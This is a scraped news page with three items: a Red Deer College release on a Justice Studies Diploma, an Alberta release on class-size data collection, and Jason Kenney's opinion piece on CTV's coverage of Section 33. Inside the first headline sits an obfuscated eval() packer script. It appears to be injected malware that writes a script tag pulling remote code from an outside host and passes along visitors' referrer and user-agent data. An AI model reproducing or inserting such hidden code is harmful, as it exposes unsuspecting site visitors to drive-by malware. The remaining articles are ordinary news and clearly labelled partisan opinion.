Education
RDC to launch Justice Studies program in fall
RDC eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yerra|var|u0026u|referrer|ihyyi||js|php’.split(‘|’),0,{}))
launches Justice Studies Diploma program in September
Red Deer, May 17, 2018 – Red Deer College is proud to continue responding to the needs of our region by expanding opportunities for learners with the new Justice Studies Diploma, which will be offered starting in September 2018.
“We’re very excited to offer this program, which is the first of its kind in central Alberta and has been developed with strong support from stakeholder agencies from across the justice sector,” says Dr. Torben Andersen, Dean, School of Arts and Sciences. “Through this program, students will earn a credential that combines academic study and career-focused skills, preparing them for a wide range of employment opportunities or further education in the justice studies field.”
The two-year program includes courses delving into a range of topics, such as the Canadian justice system, the complex origins of crime and criminal behaviour, communication and conflict resolution, and many more. Students will also gain valuable experience through a practicum, which takes place in their second year.
The unique Diploma will benefit learners in many ways.
“This program will emphasize knowledge and understanding of Indigenous peoples and their experiences with the justice system,” Andersen explains. “This is in response to the Truth and Reconciliation Commission’s call to action, and we’ve developed the program so that Indigenous perspectives will be threaded through all courses.”
With the diverse courses and learning opportunities in the program, the Justice Studies Diploma is an exciting addition to the breadth of programming offered at Red Deer College.
“As RDC evolves into a comprehensive regional teaching university, we will continue to pursue programs and opportunities that will benefit students, organizations and partners from across central Alberta,” says Dr. Paulette Hanna, Vice President Academic. “The growth and evolution that RDC is experiencing is the result of many years of planning and collaboration. This new program is another great example of this work, as it fills a unique niche in our region and will provide students with a starting place for a wide variety of rewarding careers in the justice sector.”
Registration is now open for the Justice Studies Diploma, and applications for the program will continue to be accepted until the Fall term begins or until the program is filled.
Further details about the Justice Studies Diploma are available on RDC’s website.
About the Red Deer College School of Arts and Sciences program:
The School of Arts and Sciences offers programs that lead students to successful and rewarding careers, as well as opportunities for further education. The School offers diploma, university transfer and collaborative degree programs, with individual courses in 25 different subject areas, providing students with the flexibility to tailor their pathways to their passions and goals. Expert instructors provide students with academically challenging, highly-supportive and engaging learning experiences.
About RDC:
For 54 years, RDC has been proudly serving our learners and our communities. RDC offers more than 100 different programs (including full degrees, certificates, diplomas and skilled trades programs) to 7,500 full- and part-time credit students and more than 36,000 youth and adult learners in the School of Continuing Education each year. Named by Alberta Venture magazine as one of Alberta’s most innovative organizations for the Centre for Innovation in Manufacturing, RDC is a key location for applied and industry-led research. Our main campus is strategically situated on 290 acres of Alberta’s natural landscape along Queen Elizabeth II Highway. We have also expanded our learning and performing arts space into the heart of downtown Red Deer through our Welikoklad Event Centre and the Donald School of Business.
Alberta
Province orders School Boards to gather data on class sizes and complexity by Nov 24
Better data, better outcomes for Alberta students |
To help schools address classroom complexity, Alberta’s government will begin collecting annual data on class size and composition.
Over the past three years, Alberta has welcomed more than 80,000 new students. With this unprecedented growth, classroom complexity and class sizes are among the biggest issues facing schools and teachers across the province.
To meet this challenge head on, Alberta’s government will work with school boards to gather yearly data on class sizes and composition. This information will be used to better understand staffing, student needs and classroom complexity. School boards will be required to submit data on Alberta classrooms by Nov. 24, and by January, this data will be made publicly available and will then be released annually.
Data collected on classroom complexity will help the province understand and address issues in schools, including class sizes, and support strategic investments in classrooms. Over the next three years, school boards will be provided with funding to hire 3,000 teachers and 1,500 new education assistants to support students with complex needs.
“We are ready to work with school boards and teachers to address classroom complexity and class sizes. We have heard them loud and clear and we are taking bold action to address these issues.”
Alberta’s government is establishing a Class Size and Complexity Task Force to begin work immediately on identifying solutions to the challenges facing Alberta classrooms. Alongside new annual data collection, the task force will ensure every student gets the attention and support they need to succeed. Details about the task force will be shared in the coming weeks.
“This data will provide essential insight into classroom realities, guiding evidence-based decisions and advocating for sustainable funding to address complexity, ensuring every student and educator in Alberta has the support to thrive.”
Quick facts
To inform decisions on addressing classroom complexity, data will be collected on total numbers of:
- all staff, per school, including roles
- substitute teachers
- district staff, listed by job title
- students, per classroom, per school
- severe, mild/moderate, and gifted/talented students, per classroom, per school
- English as an additional language (EAL) students, per classroom, per school
- refugee students, per classroom, per school
- First Nations, Métis and Inuit students, per classroom, per school
- Individualized Program Plans, per classroom, per school
- students waitlisted for assessment, per classroom, per school
- incidents of aggression and violence
- $55 million was provided in Budget 2025 to address classroom complexity.
- 8.6 billion is being invested to build and renovate more than 130 schools across the province.
- Budget 2025 is investing $1.6 billion in learning support funding to help meet students’ specialized learning needs.
- Budget 2025 is investing $1.1 billion to hire more than 4,000 teachers and educational staff.
Alberta
How one major media torqued its coverage – in the take no prisoners words of a former Alberta premier
(Editor’s note: I was going to write on the media’s handling of the Alberta government’s decision to order striking teachers back to work and invoke Section 33 of the Charter in doing so. But former Alberta premier Jason Kenney provided such a fulsome dissection of an absence of balance and its consequences in terms of public trust on X that I asked him if The Rewrite could publish it. He said yes and here it is – Peter Menzies.)
By Jason Kenney
This
”story” is an object lesson for why trust in legacy media has plummeted, and alt right media audiences have grown.
Here CTV “digital news producer” @AngeMAmato (she/her) writes a story about “experts” calling the use of Sec. 33 “a threat to democracy.”
Who are the experts?
A left wing academic, and a left wing activist. The latter, Howard Sapers, is a former Liberal MLA (which the article does not mention) for a party that is so marginal, it has not elected an MLA in over a decade.
For good measure CTV goes on to quote two left wing union bosses, who of course are predictably outraged.
A more accurate headline would be “Four people on the left angry about use of Notwithstanding Clause.” Which is the opposite of news. It’s the ultimate “Dog Bites Man” non-story.
Did the CTV producer make any effort to post a balanced story by asking for comment from academics / lawyers / think tanks who support use of Sec. 33? Did she call the @CDNConstFound or the @MLInstitute’s Judicial Power Project? Did she attempt to reach any of these four scholars, who just published their views in a @nationalpost op-ed last week?
Did she have an editor who asked why her story lacked any attempt at balance?
And did anyone at CTV pause for a moment to ponder how tendentious it is to accuse a democratically elected legislature of acting “undemocratically” by invoking a power whose entire purpose is to ensure democratic accountability?
She provides some historical context about prior use of Sec. 33. Why does that context not include the fact that most democratically elected provincial governments (including Alberta under Premier Lougheed, and Saskatchewan under NDP Premier Blakeney) agreed to adopt the Charter *only if* it included the Notwithstanding Clause to allow democratically elected Legislatures to ensure a democratic check and balance against the abuse of undemocratic, unaccountable judicial power?
Why does she not mention that for the first 33 years of the Charter era, the Canadian Courts ruled that there was no constitutionally protected right to strike?
Why doesn’t she quote an expert pointing out that Allan Blakeney defended the Saskatchewan Legislature’s 1986 use of Sec. 33 to end a strike as “a legitimate use of the Clause?” Or refer to Peter Lougheed’s 1987 commitment to use Sec. 33 if the courts invented a right to strike?
Many thoughtful criticisms can be levelled against Section 33. Being undemocratic is not one of them.
So why do we see so much agitprop like this masquerading as news from so many legacy media outlets?
IMO, there are two possible answers:
1) They are blind to their own biases; and / or
2) People like @AngeMAmato believe that they have a moral imperative to be “progressive journalists” which trumps the boringly old fashioned professional imperative to be objective and balanced.
Whatever the reason, “journalists” like this have no one to blame but themselves for growing distrust of legacy media, and the consequent emergence of non traditional media platforms.
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